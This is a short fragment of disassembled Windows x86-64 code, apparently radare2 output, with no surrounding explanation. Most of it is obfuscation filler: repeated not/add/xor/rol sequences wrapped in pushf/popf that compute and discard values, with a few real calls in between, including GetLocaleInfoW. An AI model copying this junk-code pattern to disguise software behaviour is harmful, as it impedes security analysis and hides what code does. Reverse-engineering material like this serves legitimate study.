rol eax, 0xaa
popf
pushf
not eax
add eax, 0xd8112d11
xor eax, 0x85c48e42
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xd62c3577
xor eax, 0xe1c81879
rol eax, 0x41
popf
jmp 0x140231d1f
push rax
pushf
mov eax, 0x761586b0
pushf
not eax
add eax, 0xf28aca03
xor eax, 0xbfb9f947
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xcd9e6cd9
xor eax, 0xeac31fd8
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x929c1710
xor eax, 0xf02e91bd
rol eax, 0x94
popf
jmp 0x140231d1f
movabs r10, 0x2b3463b50b43ce67
pushf
not r10
add r10, 0x6d069cd7
xor r10, 0x7e23765c
rol r10, 0x38
popf
pushf
not r10
add r10, 0x5551e18b
xor r10, 0x5cff6bf6
rol r10, 0x5a
popf
pushf
not r10
add r10, 0x6f8e77bd
xor r10, 0x46d584f7
rol r10, 0x7b
popf
mov r9d, ebx
mov r8, rdi
mov edx, esi
mov rcx, rbp
jmp 0x140231f00
call qword [0x1400745f8]
jmp 0x140231f7c
xor edx, edx
mov rcx, rbp
call fcn.140256615
mov ecx, eax
mov r9d, ebx
mov r8, rdi
mov edx, esi
jmp 0x140231f1d
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push rax
pushf
mov eax, 0x94f35cfb
pushf
not eax
add eax, 0x8618e441
xor eax, 0xe95cf56f
rol eax, 0x83
popf
pushf
not eax
add eax, 0xe81d40e2
xor eax, 0xe02f590a
rol eax, 0x85
popf
pushf
not eax
add eax, 0x8a8a8190
xor eax, 0xab5b7464
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xf56e97fc
xor eax, 0xe7c762df
rol eax, 0x80
popf
jmp 0x140231d1f
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret